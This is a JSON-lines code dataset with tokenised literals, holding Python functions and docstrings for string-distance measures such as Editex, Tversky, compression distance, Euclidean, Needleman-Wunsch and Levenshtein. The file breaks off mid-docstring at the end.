{"signature": "def dist_abs(self, src, tar, cost=(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>), local=False):", "body": "match_cost, group_cost, mismatch_cost = cost<EOL>def r_cost(ch1, ch2):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if ch1 == ch2:<EOL><INDENT>return match_cost<EOL><DEDENT>if ch1 in self._all_letters and ch2 in self._all_letters:<EOL><INDENT>for group in self._letter_groups:<EOL><INDENT>if ch1 in group and ch2 in group:<EOL><INDENT>return group_cost<EOL><DEDENT><DEDENT><DEDENT>return mismatch_cost<EOL><DEDENT>def d_cost(ch1, ch2):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if ch1 != ch2 and (ch1 == '<STR_LIT:H>' or ch1 == '<STR_LIT>'):<EOL><INDENT>return group_cost<EOL><DEDENT>return r_cost(ch1, ch2)<EOL><DEDENT>src = unicode_normalize('<STR_LIT>', text_type(src.upper()))<EOL>tar = unicode_normalize('<STR_LIT>', text_type(tar.upper()))<EOL>src = src.replace('<STR_LIT>', '<STR_LIT>')<EOL>tar = tar.replace('<STR_LIT>', '<STR_LIT>')<EOL>if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>if not src:<EOL><INDENT>return len(tar) * mismatch_cost<EOL><DEDENT>if not tar:<EOL><INDENT>return len(src) * mismatch_cost<EOL><DEDENT>d_mat = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_int)<EOL>lens = len(src)<EOL>lent = len(tar)<EOL>src = '<STR_LIT:U+0020>' + src<EOL>tar = '<STR_LIT:U+0020>' + tar<EOL>if not local:<EOL><INDENT>for i in range(<NUM_LIT:1>, lens + <NUM_LIT:1>):<EOL><INDENT>d_mat[i, <NUM_LIT:0>] = d_mat[i - <NUM_LIT:1>, <NUM_LIT:0>] + d_cost(src[i - <NUM_LIT:1>], src[i])<EOL><DEDENT><DEDENT>for j in range(<NUM_LIT:1>, lent + <NUM_LIT:1>):<EOL><INDENT>d_mat[<NUM_LIT:0>, j] = d_mat[<NUM_LIT:0>, j - <NUM_LIT:1>] + d_cost(tar[j - <NUM_LIT:1>], tar[j])<EOL><DEDENT>for i in range(<NUM_LIT:1>, lens + <NUM_LIT:1>):<EOL><INDENT>for j in range(<NUM_LIT:1>, lent + <NUM_LIT:1>):<EOL><INDENT>d_mat[i, j] = min(<EOL>d_mat[i - <NUM_LIT:1>, j] + d_cost(src[i - <NUM_LIT:1>], src[i]),<EOL>d_mat[i, j - <NUM_LIT:1>] + d_cost(tar[j - <NUM_LIT:1>], tar[j]),<EOL>d_mat[i - <NUM_LIT:1>, j - <NUM_LIT:1>] + r_cost(src[i], tar[j]),<EOL>)<EOL><DEDENT><DEDENT>return d_mat[lens, lent]<EOL>", "docstring": "Return the Editex distance between two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        cost : tuple\n            A 3-tuple representing the cost of the four possible edits: match,\n            same-group, and mismatch respectively (by default: (0, 1, 2))\n        local : bool\n            If True, the local variant of Editex is used\n\n        Returns\n        -------\n        int\n            Editex distance\n\n        Examples\n        --------\n        >>> cmp = Editex()\n        >>> cmp.dist_abs('cat', 'hat')\n        2\n        >>> cmp.dist_abs('Niall', 'Neil')\n        2\n        >>> cmp.dist_abs('aluminum', 'Catalan')\n        12\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        6", "id": "f6617:c0:m0"}
{"signature": "def dist(self, src, tar, cost=(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>), local=False):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>mismatch_cost = cost[<NUM_LIT:2>]<EOL>return self.dist_abs(src, tar, cost, local) / (<EOL>max(len(src) * mismatch_cost, len(tar) * mismatch_cost)<EOL>)<EOL>", "docstring": "Return the normalized Editex distance between two strings.\n\n        The Editex distance is normalized by dividing the Editex distance\n        (calculated by any of the three supported methods) by the greater of\n        the number of characters in src times the cost of a delete and\n        the number of characters in tar times the cost of an insert.\n        For the case in which all operations have :math:`cost = 1`, this is\n        equivalent to the greater of the length of the two strings src & tar.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        cost : tuple\n            A 3-tuple representing the cost of the four possible edits: match,\n            same-group, and mismatch respectively (by default: (0, 1, 2))\n        local : bool\n            If True, the local variant of Editex is used\n\n        Returns\n        -------\n        int\n            Normalized Editex distance\n\n        Examples\n        --------\n        >>> cmp = Editex()\n        >>> round(cmp.dist('cat', 'hat'), 12)\n        0.333333333333\n        >>> round(cmp.dist('Niall', 'Neil'), 12)\n        0.2\n        >>> cmp.dist('aluminum', 'Catalan')\n        0.75\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.75", "id": "f6617:c0:m1"}
{"signature": "def chebyshev(src, tar, qval=<NUM_LIT:2>, alphabet=None):", "body": "return Chebyshev().dist_abs(src, tar, qval, alphabet)<EOL>", "docstring": "r\"\"\"Return the Chebyshev distance between two strings.\n\n    This is a wrapper for the :py:meth:`Chebyshev.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version alphabet\n    alphabet : collection or int\n        The values or size of the alphabet\n\n    Returns\n    -------\n    float\n        The Chebyshev distance\n\n    Examples\n    --------\n    >>> chebyshev('cat', 'hat')\n    1.0\n    >>> chebyshev('Niall', 'Neil')\n    1.0\n    >>> chebyshev('Colin', 'Cuilen')\n    1.0\n    >>> chebyshev('ATCG', 'TAGC')\n    1.0\n    >>> chebyshev('ATCG', 'TAGC', qval=1)\n    0.0\n    >>> chebyshev('ATCGATTCGGAATTTC', 'TAGCATAATCGCCG', qval=1)\n    3.0", "id": "f6618:m0"}
{"signature": "def dist_abs(self, src, tar, qval=<NUM_LIT:2>, alphabet=None):", "body": "return super(self.__class__, self).dist_abs(<EOL>src, tar, qval, float('<STR_LIT>'), False, alphabet<EOL>)<EOL>", "docstring": "r\"\"\"Return the Chebyshev distance between two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version alphabet\n        alphabet : collection or int\n            The values or size of the alphabet\n\n        Returns\n        -------\n        float\n            The Chebyshev distance\n\n        Examples\n        --------\n        >>> cmp = Chebyshev()\n        >>> cmp.dist_abs('cat', 'hat')\n        1.0\n        >>> cmp.dist_abs('Niall', 'Neil')\n        1.0\n        >>> cmp.dist_abs('Colin', 'Cuilen')\n        1.0\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        1.0\n        >>> cmp.dist_abs('ATCG', 'TAGC', qval=1)\n        0.0\n        >>> cmp.dist_abs('ATCGATTCGGAATTTC', 'TAGCATAATCGCCG', qval=1)\n        3.0", "id": "f6618:c0:m0"}
{"signature": "def sim(self, *args, **kwargs):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Raise exception when called.\n\n        Parameters\n        ----------\n        *args\n            Variable length argument list\n        **kwargs\n            Arbitrary keyword arguments\n\n        Raises\n        ------\n        NotImplementedError\n            Method disabled for Chebyshev distance", "id": "f6618:c0:m1"}
{"signature": "def dist(self, *args, **kwargs):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Raise exception when called.\n\n        Parameters\n        ----------\n        *args\n            Variable length argument list\n        **kwargs\n            Arbitrary keyword arguments\n\n        Raises\n        ------\n        NotImplementedError\n            Method disabled for Chebyshev distance", "id": "f6618:c0:m2"}
{"signature": "def sim_tversky(src, tar, qval=<NUM_LIT:2>, alpha=<NUM_LIT:1>, beta=<NUM_LIT:1>, bias=None):", "body": "return Tversky().sim(src, tar, qval, alpha, beta, bias)<EOL>", "docstring": "Return the Tversky index of two strings.\n\n    This is a wrapper for :py:meth:`Tversky.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    alpha : float\n        Tversky index parameter as described above\n    beta : float\n        Tversky index parameter as described above\n    bias : float\n        The symmetric Tversky index bias parameter\n\n    Returns\n    -------\n    float\n        Tversky similarity\n\n    Examples\n    --------\n    >>> sim_tversky('cat', 'hat')\n    0.3333333333333333\n    >>> sim_tversky('Niall', 'Neil')\n    0.2222222222222222\n    >>> sim_tversky('aluminum', 'Catalan')\n    0.0625\n    >>> sim_tversky('ATCG', 'TAGC')\n    0.0", "id": "f6619:m0"}
{"signature": "def dist_tversky(src, tar, qval=<NUM_LIT:2>, alpha=<NUM_LIT:1>, beta=<NUM_LIT:1>, bias=None):", "body": "return Tversky().dist(src, tar, qval, alpha, beta, bias)<EOL>", "docstring": "Return the Tversky distance between two strings.\n\n    This is a wrapper for :py:meth:`Tversky.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    alpha : float\n        Tversky index parameter as described above\n    beta : float\n        Tversky index parameter as described above\n    bias : float\n        The symmetric Tversky index bias parameter\n\n    Returns\n    -------\n    float\n        Tversky distance\n\n    Examples\n    --------\n    >>> dist_tversky('cat', 'hat')\n    0.6666666666666667\n    >>> dist_tversky('Niall', 'Neil')\n    0.7777777777777778\n    >>> dist_tversky('aluminum', 'Catalan')\n    0.9375\n    >>> dist_tversky('ATCG', 'TAGC')\n    1.0", "id": "f6619:m1"}
{"signature": "def sim(self, src, tar, qval=<NUM_LIT:2>, alpha=<NUM_LIT:1>, beta=<NUM_LIT:1>, bias=None):", "body": "if alpha < <NUM_LIT:0> or beta < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>+ '<STR_LIT>'<EOL>)<EOL><DEDENT>if src == tar:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>elif not src or not tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>q_src, q_tar = self._get_qgrams(src, tar, qval)<EOL>q_src_mag = sum(q_src.values())<EOL>q_tar_mag = sum(q_tar.values())<EOL>q_intersection_mag = sum((q_src & q_tar).values())<EOL>if not q_src or not q_tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>if bias is None:<EOL><INDENT>return q_intersection_mag / (<EOL>q_intersection_mag<EOL>+ alpha * (q_src_mag - q_intersection_mag)<EOL>+ beta * (q_tar_mag - q_intersection_mag)<EOL>)<EOL><DEDENT>a_val = min(<EOL>q_src_mag - q_intersection_mag, q_tar_mag - q_intersection_mag<EOL>)<EOL>b_val = max(<EOL>q_src_mag - q_intersection_mag, q_tar_mag - q_intersection_mag<EOL>)<EOL>c_val = q_intersection_mag + bias<EOL>return c_val / (beta * (alpha * a_val + (<NUM_LIT:1> - alpha) * b_val) + c_val)<EOL>", "docstring": "Return the Tversky index of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n        alpha : float\n            Tversky index parameter as described above\n        beta : float\n            Tversky index parameter as described above\n        bias : float\n            The symmetric Tversky index bias parameter\n\n        Returns\n        -------\n        float\n            Tversky similarity\n\n        Raises\n        ------\n        ValueError\n            Unsupported weight assignment; alpha and beta must be greater than\n            or equal to 0.\n\n        Examples\n        --------\n        >>> cmp = Tversky()\n        >>> cmp.sim('cat', 'hat')\n        0.3333333333333333\n        >>> cmp.sim('Niall', 'Neil')\n        0.2222222222222222\n        >>> cmp.sim('aluminum', 'Catalan')\n        0.0625\n        >>> cmp.sim('ATCG', 'TAGC')\n        0.0", "id": "f6619:c0:m0"}
{"signature": "def dist_ncd_rle(src, tar):", "body": "return NCDrle().dist(src, tar)<EOL>", "docstring": "Return the NCD between two strings using RLE.\n\n    This is a wrapper for :py:meth:`NCDrle.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Compression distance\n\n    Examples\n    --------\n    >>> dist_ncd_rle('cat', 'hat')\n    1.0\n    >>> dist_ncd_rle('Niall', 'Neil')\n    1.0\n    >>> dist_ncd_rle('aluminum', 'Catalan')\n    1.0\n    >>> dist_ncd_rle('ATCG', 'TAGC')\n    1.0", "id": "f6620:m0"}
{"signature": "def sim_ncd_rle(src, tar):", "body": "return NCDrle().sim(src, tar)<EOL>", "docstring": "Return the NCD similarity between two strings using RLE.\n\n    This is a wrapper for :py:meth:`NCDrle.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Compression similarity\n\n    Examples\n    --------\n    >>> sim_ncd_rle('cat', 'hat')\n    0.0\n    >>> sim_ncd_rle('Niall', 'Neil')\n    0.0\n    >>> sim_ncd_rle('aluminum', 'Catalan')\n    0.0\n    >>> sim_ncd_rle('ATCG', 'TAGC')\n    0.0", "id": "f6620:m1"}
{"signature": "def dist(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>src_comp = self._rle.encode(src)<EOL>tar_comp = self._rle.encode(tar)<EOL>concat_comp = self._rle.encode(src + tar)<EOL>concat_comp2 = self._rle.encode(tar + src)<EOL>return (<EOL>min(len(concat_comp), len(concat_comp2))<EOL>- min(len(src_comp), len(tar_comp))<EOL>) / max(len(src_comp), len(tar_comp))<EOL>", "docstring": "Return the NCD between two strings using RLE.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Compression distance\n\n        Examples\n        --------\n        >>> cmp = NCDrle()\n        >>> cmp.dist('cat', 'hat')\n        1.0\n        >>> cmp.dist('Niall', 'Neil')\n        1.0\n        >>> cmp.dist('aluminum', 'Catalan')\n        1.0\n        >>> cmp.dist('ATCG', 'TAGC')\n        1.0", "id": "f6620:c0:m0"}
{"signature": "def dist_ncd_zlib(src, tar):", "body": "return NCDzlib().dist(src, tar)<EOL>", "docstring": "Return the NCD between two strings using zlib compression.\n\n    This is a wrapper for :py:meth:`NCDzlib.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float\n        Compression distance\n\n    Examples\n    --------\n    >>> dist_ncd_zlib('cat', 'hat')\n    0.3333333333333333\n    >>> dist_ncd_zlib('Niall', 'Neil')\n    0.45454545454545453\n    >>> dist_ncd_zlib('aluminum', 'Catalan')\n    0.5714285714285714\n    >>> dist_ncd_zlib('ATCG', 'TAGC')\n    0.4", "id": "f6621:m0"}
{"signature": "def sim_ncd_zlib(src, tar):", "body": "return NCDzlib().sim(src, tar)<EOL>", "docstring": "Return the NCD similarity between two strings using zlib compression.\n\n    This is a wrapper for :py:meth:`NCDzlib.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    float: Compression similarity\n\n    Examples\n    --------\n    >>> sim_ncd_zlib('cat', 'hat')\n    0.6666666666666667\n    >>> sim_ncd_zlib('Niall', 'Neil')\n    0.5454545454545454\n    >>> sim_ncd_zlib('aluminum', 'Catalan')\n    0.4285714285714286\n    >>> sim_ncd_zlib('ATCG', 'TAGC')\n    0.6", "id": "f6621:m1"}
{"signature": "def __init__(self, level=zlib.Z_DEFAULT_COMPRESSION):", "body": "self._compressor = zlib.compressobj(level)<EOL>", "docstring": "Initialize zlib compressor.\n\n        Parameters\n        ----------\n        level : int\n            The compression level (0 to 9)", "id": "f6621:c0:m0"}
{"signature": "def dist(self, src, tar):", "body": "if src == tar:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>src = src.encode('<STR_LIT:utf-8>')<EOL>tar = tar.encode('<STR_LIT:utf-8>')<EOL>self._compressor.compress(src)<EOL>src_comp = self._compressor.flush(zlib.Z_FULL_FLUSH)<EOL>self._compressor.compress(tar)<EOL>tar_comp = self._compressor.flush(zlib.Z_FULL_FLUSH)<EOL>self._compressor.compress(src + tar)<EOL>concat_comp = self._compressor.flush(zlib.Z_FULL_FLUSH)<EOL>self._compressor.compress(tar + src)<EOL>concat_comp2 = self._compressor.flush(zlib.Z_FULL_FLUSH)<EOL>return (<EOL>min(len(concat_comp), len(concat_comp2))<EOL>- min(len(src_comp), len(tar_comp))<EOL>) / max(len(src_comp), len(tar_comp))<EOL>", "docstring": "Return the NCD between two strings using zlib compression.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n\n        Returns\n        -------\n        float\n            Compression distance\n\n        Examples\n        --------\n        >>> cmp = NCDzlib()\n        >>> cmp.dist('cat', 'hat')\n        0.3333333333333333\n        >>> cmp.dist('Niall', 'Neil')\n        0.45454545454545453\n        >>> cmp.dist('aluminum', 'Catalan')\n        0.5714285714285714\n        >>> cmp.dist('ATCG', 'TAGC')\n        0.4", "id": "f6621:c0:m1"}
{"signature": "def euclidean(src, tar, qval=<NUM_LIT:2>, normalized=False, alphabet=None):", "body": "return Euclidean().dist_abs(src, tar, qval, normalized, alphabet)<EOL>", "docstring": "Return the Euclidean distance between two strings.\n\n    This is a wrapper for :py:meth:`Euclidean.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    normalized : bool\n        Normalizes to [0, 1] if True\n    alphabet : collection or int\n        The values or size of the alphabet\n\n    Returns\n    -------\n    float: The Euclidean distance\n\n    Examples\n    --------\n    >>> euclidean('cat', 'hat')\n    2.0\n    >>> round(euclidean('Niall', 'Neil'), 12)\n    2.645751311065\n    >>> euclidean('Colin', 'Cuilen')\n    3.0\n    >>> round(euclidean('ATCG', 'TAGC'), 12)\n    3.162277660168", "id": "f6622:m0"}
{"signature": "def dist_euclidean(src, tar, qval=<NUM_LIT:2>, alphabet=None):", "body": "return Euclidean().dist(src, tar, qval, alphabet)<EOL>", "docstring": "Return the normalized Euclidean distance between two strings.\n\n    This is a wrapper for :py:meth:`Euclidean.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    alphabet : collection or int\n        The values or size of the alphabet\n\n    Returns\n    -------\n    float\n        The normalized Euclidean distance\n\n    Examples\n    --------\n    >>> round(dist_euclidean('cat', 'hat'), 12)\n    0.57735026919\n    >>> round(dist_euclidean('Niall', 'Neil'), 12)\n    0.683130051064\n    >>> round(dist_euclidean('Colin', 'Cuilen'), 12)\n    0.727606875109\n    >>> dist_euclidean('ATCG', 'TAGC')\n    1.0", "id": "f6622:m1"}
{"signature": "def sim_euclidean(src, tar, qval=<NUM_LIT:2>, alphabet=None):", "body": "return Euclidean().sim(src, tar, qval, alphabet)<EOL>", "docstring": "Return the normalized Euclidean similarity of two strings.\n\n    This is a wrapper for :py:meth:`Euclidean.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string (or QGrams/Counter objects) for comparison\n    tar : str\n        Target string (or QGrams/Counter objects) for comparison\n    qval : int\n        The length of each q-gram; 0 for non-q-gram version\n    alphabet : collection or int\n        The values or size of the alphabet\n\n    Returns\n    -------\n    float\n        The normalized Euclidean similarity\n\n    Examples\n    --------\n    >>> round(sim_euclidean('cat', 'hat'), 12)\n    0.42264973081\n    >>> round(sim_euclidean('Niall', 'Neil'), 12)\n    0.316869948936\n    >>> round(sim_euclidean('Colin', 'Cuilen'), 12)\n    0.272393124891\n    >>> sim_euclidean('ATCG', 'TAGC')\n    0.0", "id": "f6622:m2"}
{"signature": "def dist_abs(self, src, tar, qval=<NUM_LIT:2>, normalized=False, alphabet=None):", "body": "return super(self.__class__, self).dist_abs(<EOL>src, tar, qval, <NUM_LIT:2>, normalized, alphabet<EOL>)<EOL>", "docstring": "Return the Euclidean distance between two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n        normalized : bool\n            Normalizes to [0, 1] if True\n        alphabet : collection or int\n            The values or size of the alphabet\n\n        Returns\n        -------\n        float\n            The Euclidean distance\n\n        Examples\n        --------\n        >>> cmp = Euclidean()\n        >>> cmp.dist_abs('cat', 'hat')\n        2.0\n        >>> round(cmp.dist_abs('Niall', 'Neil'), 12)\n        2.645751311065\n        >>> cmp.dist_abs('Colin', 'Cuilen')\n        3.0\n        >>> round(cmp.dist_abs('ATCG', 'TAGC'), 12)\n        3.162277660168", "id": "f6622:c0:m0"}
{"signature": "def dist(self, src, tar, qval=<NUM_LIT:2>, alphabet=None):", "body": "return self.dist_abs(src, tar, qval, True, alphabet)<EOL>", "docstring": "Return the normalized Euclidean distance between two strings.\n\n        The normalized Euclidean distance is a distance\n        metric in :math:`L^2`-space, normalized to [0, 1].\n\n        Parameters\n        ----------\n        src : str\n            Source string (or QGrams/Counter objects) for comparison\n        tar : str\n            Target string (or QGrams/Counter objects) for comparison\n        qval : int\n            The length of each q-gram; 0 for non-q-gram version\n        alphabet : collection or int\n            The values or size of the alphabet\n\n        Returns\n        -------\n        float\n            The normalized Euclidean distance\n\n        Examples\n        --------\n        >>> cmp = Euclidean()\n        >>> round(cmp.dist('cat', 'hat'), 12)\n        0.57735026919\n        >>> round(cmp.dist('Niall', 'Neil'), 12)\n        0.683130051064\n        >>> round(cmp.dist('Colin', 'Cuilen'), 12)\n        0.727606875109\n        >>> cmp.dist('ATCG', 'TAGC')\n        1.0", "id": "f6622:c0:m1"}
{"signature": "def needleman_wunsch(src, tar, gap_cost=<NUM_LIT:1>, sim_func=sim_ident):", "body": "return NeedlemanWunsch().dist_abs(src, tar, gap_cost, sim_func)<EOL>", "docstring": "Return the Needleman-Wunsch score of two strings.\n\n    This is a wrapper for :py:meth:`NeedlemanWunsch.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    gap_cost : float\n        The cost of an alignment gap (1 by default)\n    sim_func : function\n        A function that returns the similarity of two characters (identity\n        similarity by default)\n\n    Returns\n    -------\n    float\n        Needleman-Wunsch score\n\n    Examples\n    --------\n    >>> needleman_wunsch('cat', 'hat')\n    2.0\n    >>> needleman_wunsch('Niall', 'Neil')\n    1.0\n    >>> needleman_wunsch('aluminum', 'Catalan')\n    -1.0\n    >>> needleman_wunsch('ATCG', 'TAGC')\n    0.0", "id": "f6623:m0"}
{"signature": "@staticmethod<EOL><INDENT>def sim_matrix(<EOL>src,<EOL>tar,<EOL>mat=None,<EOL>mismatch_cost=<NUM_LIT:0>,<EOL>match_cost=<NUM_LIT:1>,<EOL>symmetric=True,<EOL>alphabet=None,<EOL>):<DEDENT>", "body": "if alphabet:<EOL><INDENT>alphabet = tuple(alphabet)<EOL>for i in src:<EOL><INDENT>if i not in alphabet:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>for i in tar:<EOL><INDENT>if i not in alphabet:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if src == tar:<EOL><INDENT>if mat and (src, src) in mat:<EOL><INDENT>return mat[(src, src)]<EOL><DEDENT>return match_cost<EOL><DEDENT>if mat and (src, tar) in mat:<EOL><INDENT>return mat[(src, tar)]<EOL><DEDENT>elif symmetric and mat and (tar, src) in mat:<EOL><INDENT>return mat[(tar, src)]<EOL><DEDENT>return mismatch_cost<EOL>", "docstring": "Return the matrix similarity of two strings.\n\n        With the default parameters, this is identical to sim_ident.\n        It is possible for sim_matrix to return values outside of the range\n        :math:`[0, 1]`, if values outside that range are present in mat,\n        mismatch_cost, or match_cost.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        mat : dict\n            A dict mapping tuples to costs; the tuples are (src, tar) pairs of\n            symbols from the alphabet parameter\n        mismatch_cost : float\n            The value returned if (src, tar) is absent from mat when src does\n            not equal tar\n        match_cost : float\n            The value returned if (src, tar) is absent from mat when src equals\n            tar\n        symmetric : bool\n            True if the cost of src not matching tar is identical to the cost\n            of tar not matching src; in this case, the values in mat need only\n            contain (src, tar) or (tar, src), not both\n        alphabet : str\n            A collection of tokens from which src and tar are drawn; if this is\n            defined a ValueError is raised if either tar or src is not found in\n            alphabet\n\n        Returns\n        -------\n        float\n            Matrix similarity\n\n        Raises\n        ------\n        ValueError\n            src value not in alphabet\n        ValueError\n            tar value not in alphabet\n\n        Examples\n        --------\n        >>> NeedlemanWunsch.sim_matrix('cat', 'hat')\n        0\n        >>> NeedlemanWunsch.sim_matrix('hat', 'hat')\n        1", "id": "f6623:c0:m0"}
{"signature": "def dist_abs(self, src, tar, gap_cost=<NUM_LIT:1>, sim_func=sim_ident):", "body": "d_mat = np_zeros((len(src) + <NUM_LIT:1>, len(tar) + <NUM_LIT:1>), dtype=np_float32)<EOL>for i in range(len(src) + <NUM_LIT:1>):<EOL><INDENT>d_mat[i, <NUM_LIT:0>] = -(i * gap_cost)<EOL><DEDENT>for j in range(len(tar) + <NUM_LIT:1>):<EOL><INDENT>d_mat[<NUM_LIT:0>, j] = -(j * gap_cost)<EOL><DEDENT>for i in range(<NUM_LIT:1>, len(src) + <NUM_LIT:1>):<EOL><INDENT>for j in range(<NUM_LIT:1>, len(tar) + <NUM_LIT:1>):<EOL><INDENT>match = d_mat[i - <NUM_LIT:1>, j - <NUM_LIT:1>] + sim_func(src[i - <NUM_LIT:1>], tar[j - <NUM_LIT:1>])<EOL>delete = d_mat[i - <NUM_LIT:1>, j] - gap_cost<EOL>insert = d_mat[i, j - <NUM_LIT:1>] - gap_cost<EOL>d_mat[i, j] = max(match, delete, insert)<EOL><DEDENT><DEDENT>return d_mat[d_mat.shape[<NUM_LIT:0>] - <NUM_LIT:1>, d_mat.shape[<NUM_LIT:1>] - <NUM_LIT:1>]<EOL>", "docstring": "Return the Needleman-Wunsch score of two strings.\n\n        Parameters\n        ----------\n        src : str\n            Source string for comparison\n        tar : str\n            Target string for comparison\n        gap_cost : float\n            The cost of an alignment gap (1 by default)\n        sim_func : function\n            A function that returns the similarity of two characters (identity\n            similarity by default)\n\n        Returns\n        -------\n        float\n            Needleman-Wunsch score\n\n        Examples\n        --------\n        >>> cmp = NeedlemanWunsch()\n        >>> cmp.dist_abs('cat', 'hat')\n        2.0\n        >>> cmp.dist_abs('Niall', 'Neil')\n        1.0\n        >>> cmp.dist_abs('aluminum', 'Catalan')\n        -1.0\n        >>> cmp.dist_abs('ATCG', 'TAGC')\n        0.0", "id": "f6623:c0:m1"}
{"signature": "def levenshtein(src, tar, mode='<STR_LIT>', cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)):", "body": "return Levenshtein().dist_abs(src, tar, mode, cost)<EOL>", "docstring": "Return the Levenshtein distance between two strings.\n\n    This is a wrapper of :py:meth:`Levenshtein.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    mode : str\n        Specifies a mode for computing the Levenshtein distance:\n\n            - ``lev`` (default) computes the ordinary Levenshtein distance, in\n              which edits may include inserts, deletes, and substitutions\n            - ``osa`` computes the Optimal String Alignment distance, in which\n              edits may include inserts, deletes, substitutions, and\n              transpositions but substrings may only be edited once\n\n    cost : tuple\n        A 4-tuple representing the cost of the four possible edits: inserts,\n        deletes, substitutions, and transpositions, respectively (by default:\n        (1, 1, 1, 1))\n\n    Returns\n    -------\n    int (may return a float if cost has float values)\n        The Levenshtein distance between src & tar\n\n    Examples\n    --------\n    >>> levenshtein('cat', 'hat')\n    1\n    >>> levenshtein('Niall', 'Neil')\n    3\n    >>> levenshtein('aluminum', 'Catalan')\n    7\n    >>> levenshtein('ATCG', 'TAGC')\n    3\n\n    >>> levenshtein('ATCG', 'TAGC', mode='osa')\n    2\n    >>> levenshtein('ACTG', 'TAGC', mode='osa')\n    4", "id": "f6624:m0"}
{"signature": "def dist_levenshtein(src, tar, mode='<STR_LIT>', cost=(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)):", "body": "return Levenshtein().dist(src, tar, mode, cost)<EOL>", "docstring": "Return the normalized Levenshtein distance between two strings.\n\n    This is a wrapper of :py:meth:`Levenshtein.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    mode : str\n        Specifies a mode for computing the Levenshtein distance:\n\n            - ``lev`` (default) computes the ordinary Levenshtein distance, in\n              which edits may include inserts, deletes, and substitutions\n            - ``osa`` computes the Optimal String Alignment distance, in which\n              edits may include inserts, deletes, substitutions, and\n              transpositions but substrings may only be edited once\n\n    cost : tuple\n        A 4-tuple representing the cost of the four possible edits: inserts,\n        deletes, substitutions, and transpositions, respectively (by default:\n        (1, 1, 1, 1))\n\n    Returns\n    -------\n    float\n        The Levenshtein distance between src & tar\n\n    Examples\n    --------\n    >>> round(dist_levenshtein('cat', 'hat'), 12)\n    0.333333333333\n    >>> round(dist_levenshtein('Niall', 'Neil'), 12)\n    0.6\n    >>> 